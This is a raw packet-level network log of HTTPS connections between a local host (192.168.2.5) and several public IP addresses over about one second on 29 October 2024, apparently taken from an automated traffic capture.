Oct 29, 2024 06:59:31.339921951 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.339948893 CET	49849	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:31.359894991 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.359919071 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.359986067 CET	49851	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.359991074 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.360033989 CET	49851	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.360055923 CET	49851	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.361260891 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.361344099 CET	49851	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.362097979 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.362169027 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.362175941 CET	49851	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.362216949 CET	49851	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.362518072 CET	49851	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.362524033 CET	443	49851	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.398175955 CET	49858	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:31.398180962 CET	49857	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:31.398297071 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.398308039 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.398318052 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.398334026 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.398344994 CET	49849	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:31.398360968 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.398381948 CET	49849	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:31.398504019 CET	49849	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:31.407530069 CET	443	49857	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:31.407680035 CET	443	49857	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:31.407761097 CET	49857	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:31.437796116 CET	443	49858	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:31.437853098 CET	443	49858	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:31.437905073 CET	49858	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:31.437911034 CET	443	49858	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:31.438077927 CET	443	49858	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:31.438169003 CET	49858	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:31.443994045 CET	49857	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:31.444008112 CET	443	49857	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:31.444395065 CET	49858	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:31.444401026 CET	443	49858	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:31.453943968 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.453952074 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.453984022 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.454010963 CET	49849	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:31.454014063 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.454030991 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.454066038 CET	49849	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:31.454066038 CET	49849	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:31.454706907 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.454735994 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.454775095 CET	49849	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:31.454782963 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.454833984 CET	49849	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:31.454833984 CET	49849	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:31.454921961 CET	49849	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:31.454971075 CET	443	49849	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:31.455073118 CET	49849	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:31.503793955 CET	443	49859	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.504115105 CET	443	49860	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.504868031 CET	49859	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.504904032 CET	443	49859	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.505430937 CET	49859	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.505438089 CET	443	49859	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.505763054 CET	49860	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.505785942 CET	443	49860	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.506261110 CET	49860	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.506272078 CET	443	49860	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.551842928 CET	49871	443	192.168.2.5	104.93.21.160
Oct 29, 2024 06:59:31.551857948 CET	443	49871	104.93.21.160	192.168.2.5
Oct 29, 2024 06:59:31.551949978 CET	49871	443	192.168.2.5	104.93.21.160
Oct 29, 2024 06:59:31.553307056 CET	49872	443	192.168.2.5	104.93.21.160
Oct 29, 2024 06:59:31.553327084 CET	443	49872	104.93.21.160	192.168.2.5
Oct 29, 2024 06:59:31.553396940 CET	49872	443	192.168.2.5	104.93.21.160
Oct 29, 2024 06:59:31.553771973 CET	443	49861	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.553951025 CET	49871	443	192.168.2.5	104.93.21.160
Oct 29, 2024 06:59:31.553961039 CET	443	49871	104.93.21.160	192.168.2.5
Oct 29, 2024 06:59:31.555891037 CET	49872	443	192.168.2.5	104.93.21.160
Oct 29, 2024 06:59:31.555905104 CET	443	49872	104.93.21.160	192.168.2.5
Oct 29, 2024 06:59:31.556374073 CET	49873	443	192.168.2.5	204.79.197.219
Oct 29, 2024 06:59:31.556385994 CET	443	49873	204.79.197.219	192.168.2.5
Oct 29, 2024 06:59:31.556509972 CET	49873	443	192.168.2.5	204.79.197.219
Oct 29, 2024 06:59:31.557265997 CET	49874	443	192.168.2.5	204.79.197.219
Oct 29, 2024 06:59:31.557312965 CET	443	49874	204.79.197.219	192.168.2.5
Oct 29, 2024 06:59:31.557424068 CET	49874	443	192.168.2.5	204.79.197.219
Oct 29, 2024 06:59:31.557619095 CET	49873	443	192.168.2.5	204.79.197.219
Oct 29, 2024 06:59:31.557626963 CET	443	49873	204.79.197.219	192.168.2.5
Oct 29, 2024 06:59:31.558024883 CET	49874	443	192.168.2.5	204.79.197.219
Oct 29, 2024 06:59:31.558041096 CET	443	49874	204.79.197.219	192.168.2.5
Oct 29, 2024 06:59:31.565005064 CET	49861	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.565030098 CET	443	49861	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.566839933 CET	49861	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.566844940 CET	443	49861	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.620060921 CET	443	49865	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.624357939 CET	49865	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.624370098 CET	443	49865	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.624871969 CET	443	49865	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.625624895 CET	49865	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.625711918 CET	443	49865	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.625869036 CET	49865	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.630394936 CET	443	49867	108.156.211.31	192.168.2.5
Oct 29, 2024 06:59:31.635529995 CET	49867	443	192.168.2.5	108.156.211.31
Oct 29, 2024 06:59:31.635546923 CET	443	49867	108.156.211.31	192.168.2.5
Oct 29, 2024 06:59:31.636027098 CET	443	49859	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.636231899 CET	443	49859	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.636287928 CET	49859	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.637321949 CET	443	49860	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.637417078 CET	443	49867	108.156.211.31	192.168.2.5
Oct 29, 2024 06:59:31.637499094 CET	49867	443	192.168.2.5	108.156.211.31
Oct 29, 2024 06:59:31.637876987 CET	443	49860	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.637990952 CET	49860	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.638678074 CET	49867	443	192.168.2.5	108.156.211.31
Oct 29, 2024 06:59:31.638755083 CET	443	49867	108.156.211.31	192.168.2.5
Oct 29, 2024 06:59:31.638895035 CET	49867	443	192.168.2.5	108.156.211.31
Oct 29, 2024 06:59:31.638904095 CET	443	49867	108.156.211.31	192.168.2.5
Oct 29, 2024 06:59:31.640618086 CET	49859	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.640626907 CET	443	49859	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.645689964 CET	443	49866	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.646996975 CET	49866	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.647007942 CET	443	49866	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.647872925 CET	443	49866	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.648138046 CET	443	49869	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.648435116 CET	49866	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.648518085 CET	443	49866	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.648668051 CET	49869	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.648677111 CET	443	49869	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.648894072 CET	49866	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.650126934 CET	443	49869	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.650203943 CET	49869	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.650522947 CET	49869	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.650599957 CET	443	49869	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.650691032 CET	49869	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.650697947 CET	443	49869	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.651518106 CET	49860	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.651541948 CET	443	49860	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.651546955 CET	49860	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.651554108 CET	443	49860	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.657380104 CET	49875	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.657402039 CET	443	49875	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.657495022 CET	49875	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.657753944 CET	49875	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.657763958 CET	443	49875	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.658211946 CET	49876	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.658225060 CET	443	49876	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.658303976 CET	49876	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.660293102 CET	49876	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.660301924 CET	443	49876	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.667332888 CET	443	49865	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.675685883 CET	443	49862	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.691409111 CET	443	49866	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.691920042 CET	443	49861	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.692490101 CET	443	49861	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.692635059 CET	49861	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.695322037 CET	49869	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.698436975 CET	49877	443	192.168.2.5	104.93.21.152
Oct 29, 2024 06:59:31.698497057 CET	443	49877	104.93.21.152	192.168.2.5
Oct 29, 2024 06:59:31.698576927 CET	49877	443	192.168.2.5	104.93.21.152
Oct 29, 2024 06:59:31.698887110 CET	49877	443	192.168.2.5	104.93.21.152
Oct 29, 2024 06:59:31.698904037 CET	443	49877	104.93.21.152	192.168.2.5
Oct 29, 2024 06:59:31.698925018 CET	49862	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.698947906 CET	443	49862	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.699698925 CET	49862	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.699704885 CET	443	49862	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.699733973 CET	443	49863	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.713581085 CET	49863	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.713598013 CET	443	49863	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.714597940 CET	49863	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.714602947 CET	443	49863	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.728667021 CET	49861	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.728677034 CET	443	49861	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.728785992 CET	49861	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.728790045 CET	443	49861	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.758004904 CET	49878	443	192.168.2.5	104.93.21.152
Oct 29, 2024 06:59:31.758018017 CET	443	49878	104.93.21.152	192.168.2.5
Oct 29, 2024 06:59:31.758100986 CET	49878	443	192.168.2.5	104.93.21.152
Oct 29, 2024 06:59:31.759614944 CET	49878	443	192.168.2.5	104.93.21.152
Oct 29, 2024 06:59:31.759624958 CET	443	49878	104.93.21.152	192.168.2.5
Oct 29, 2024 06:59:31.784372091 CET	49879	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.784423113 CET	443	49879	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.784621000 CET	49879	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.788979053 CET	49879	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.788992882 CET	443	49879	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.804614067 CET	49867	443	192.168.2.5	108.156.211.31
Oct 29, 2024 06:59:31.807471037 CET	443	49867	108.156.211.31	192.168.2.5
Oct 29, 2024 06:59:31.807559013 CET	443	49867	108.156.211.31	192.168.2.5
Oct 29, 2024 06:59:31.807660103 CET	49867	443	192.168.2.5	108.156.211.31
Oct 29, 2024 06:59:31.826360941 CET	443	49862	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.826462030 CET	443	49862	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.826643944 CET	49862	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.826934099 CET	49862	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.826981068 CET	443	49862	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.826997042 CET	49862	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.827007055 CET	443	49862	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.829952002 CET	49880	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.829977989 CET	443	49880	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.830156088 CET	49880	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.830676079 CET	49880	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.830691099 CET	443	49880	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.832062006 CET	443	49868	20.125.209.212	192.168.2.5
Oct 29, 2024 06:59:31.832741022 CET	49868	443	192.168.2.5	20.125.209.212
Oct 29, 2024 06:59:31.832750082 CET	443	49868	20.125.209.212	192.168.2.5
Oct 29, 2024 06:59:31.833940029 CET	443	49868	20.125.209.212	192.168.2.5
Oct 29, 2024 06:59:31.833996058 CET	49868	443	192.168.2.5	20.125.209.212
Oct 29, 2024 06:59:31.836003065 CET	49868	443	192.168.2.5	20.125.209.212
Oct 29, 2024 06:59:31.836057901 CET	443	49868	20.125.209.212	192.168.2.5
Oct 29, 2024 06:59:31.836188078 CET	49868	443	192.168.2.5	20.125.209.212
Oct 29, 2024 06:59:31.836194992 CET	443	49868	20.125.209.212	192.168.2.5
Oct 29, 2024 06:59:31.839087009 CET	49867	443	192.168.2.5	108.156.211.31
Oct 29, 2024 06:59:31.839103937 CET	443	49867	108.156.211.31	192.168.2.5
Oct 29, 2024 06:59:31.844113111 CET	443	49863	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.844177008 CET	443	49863	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.844386101 CET	49863	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.844409943 CET	49863	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.844419003 CET	443	49863	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.844429016 CET	49863	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.844433069 CET	443	49863	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.847620964 CET	49881	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.847645998 CET	443	49881	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.848249912 CET	49881	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.848495007 CET	49881	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:31.848510027 CET	443	49881	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:31.872232914 CET	49882	443	192.168.2.5	108.156.211.31
Oct 29, 2024 06:59:31.872252941 CET	443	49882	108.156.211.31	192.168.2.5
Oct 29, 2024 06:59:31.872543097 CET	49882	443	192.168.2.5	108.156.211.31
Oct 29, 2024 06:59:31.872781992 CET	443	49865	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.872813940 CET	443	49865	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.872833014 CET	443	49865	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.872865915 CET	49865	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.872874975 CET	443	49865	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.872920036 CET	49865	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.872921944 CET	49882	443	192.168.2.5	108.156.211.31
Oct 29, 2024 06:59:31.872939110 CET	443	49882	108.156.211.31	192.168.2.5
Oct 29, 2024 06:59:31.877620935 CET	443	49864	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:31.878097057 CET	49864	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:31.878104925 CET	443	49864	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:31.878690958 CET	443	49865	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.878721952 CET	443	49865	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.878768921 CET	49865	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.878777027 CET	443	49865	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.878818035 CET	49865	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.878833055 CET	49865	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.879147053 CET	443	49864	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:31.879196882 CET	49864	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:31.879412889 CET	443	49865	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.879458904 CET	49865	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.880409002 CET	49864	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:31.880481958 CET	443	49864	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:31.880569935 CET	49864	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:31.880639076 CET	49864	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:31.880672932 CET	443	49864	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:31.884764910 CET	49883	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:31.884777069 CET	443	49883	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:31.885025024 CET	49883	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:31.885508060 CET	49883	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:31.885518074 CET	443	49883	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:31.890043974 CET	443	49866	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.890104055 CET	443	49866	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.890192032 CET	443	49866	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.890213966 CET	49866	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.890227079 CET	443	49866	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.890252113 CET	49866	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.890296936 CET	49866	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.895970106 CET	443	49869	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.896027088 CET	443	49869	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.896049023 CET	443	49869	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.896089077 CET	443	49869	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.896091938 CET	49869	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.896119118 CET	443	49869	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.896132946 CET	49869	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.896136045 CET	443	49869	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.896147966 CET	49869	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.896167994 CET	49869	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.896182060 CET	49869	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.897929907 CET	49884	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:31.897957087 CET	443	49884	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:31.898092031 CET	49884	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:31.900846004 CET	443	49869	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.900902987 CET	443	49869	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.900949001 CET	49869	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.900957108 CET	443	49869	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.900985956 CET	49869	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.901010990 CET	49869	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.901016951 CET	443	49869	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.901328087 CET	49884	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:31.901343107 CET	443	49884	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:31.904275894 CET	443	49870	20.1.248.118	192.168.2.5
Oct 29, 2024 06:59:31.905745029 CET	49870	443	192.168.2.5	20.1.248.118
Oct 29, 2024 06:59:31.905754089 CET	443	49870	20.1.248.118	192.168.2.5
Oct 29, 2024 06:59:31.906042099 CET	443	49870	20.1.248.118	192.168.2.5
Oct 29, 2024 06:59:31.906807899 CET	49870	443	192.168.2.5	20.1.248.118
Oct 29, 2024 06:59:31.906858921 CET	443	49870	20.1.248.118	192.168.2.5
Oct 29, 2024 06:59:31.906874895 CET	49870	443	192.168.2.5	20.1.248.118
Oct 29, 2024 06:59:31.907793045 CET	443	49866	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.907841921 CET	443	49866	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.907886982 CET	49866	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.907896042 CET	443	49866	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.907922029 CET	49868	443	192.168.2.5	20.125.209.212
Oct 29, 2024 06:59:31.907938957 CET	49866	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.907938957 CET	49866	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.908631086 CET	443	49866	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.908724070 CET	49866	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.947360039 CET	443	49870	20.1.248.118	192.168.2.5
Oct 29, 2024 06:59:31.988455057 CET	443	49865	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.988498926 CET	443	49865	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.988524914 CET	49865	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.988535881 CET	443	49865	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.988584042 CET	49865	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.988603115 CET	49865	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.988837004 CET	443	49868	20.125.209.212	192.168.2.5
Oct 29, 2024 06:59:31.993236065 CET	49864	443	192.168.2.5	20.42.73.31
Oct 29, 2024 06:59:31.993240118 CET	49869	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.993240118 CET	49870	443	192.168.2.5	20.1.248.118
Oct 29, 2024 06:59:31.993246078 CET	443	49864	20.42.73.31	192.168.2.5
Oct 29, 2024 06:59:31.994096994 CET	443	49865	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.994117975 CET	443	49865	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.994160891 CET	49865	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.994168043 CET	443	49865	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.994220018 CET	49865	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.994596958 CET	443	49865	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.994647026 CET	443	49865	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.994668007 CET	49865	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.994673967 CET	443	49865	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.994714975 CET	49865	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.994735956 CET	443	49865	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:31.994960070 CET	49865	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.994991064 CET	49865	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:31.994997978 CET	443	49865	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:32.009520054 CET	443	49866	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:32.009578943 CET	443	49866	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:32.009619951 CET	49866	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:32.009630919 CET	443	49866	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:32.009690046 CET	49866	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:32.009690046 CET	49866	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:32.010620117 CET	443	49868	20.125.209.212	192.168.2.5
Oct 29, 2024 06:59:32.010688066 CET	49868	443	192.168.2.5	20.125.209.212
Oct 29, 2024 06:59:32.011806011 CET	49868	443	192.168.2.5	20.125.209.212
Oct 29, 2024 06:59:32.011811018 CET	443	49868	20.125.209.212	192.168.2.5
Oct 29, 2024 06:59:32.016473055 CET	443	49869	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:32.016484022 CET	443	49869	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:32.016513109 CET	443	49869	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:32.016521931 CET	443	49869	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:32.016551971 CET	49869	443	192.168.2.5	23.55.178.242
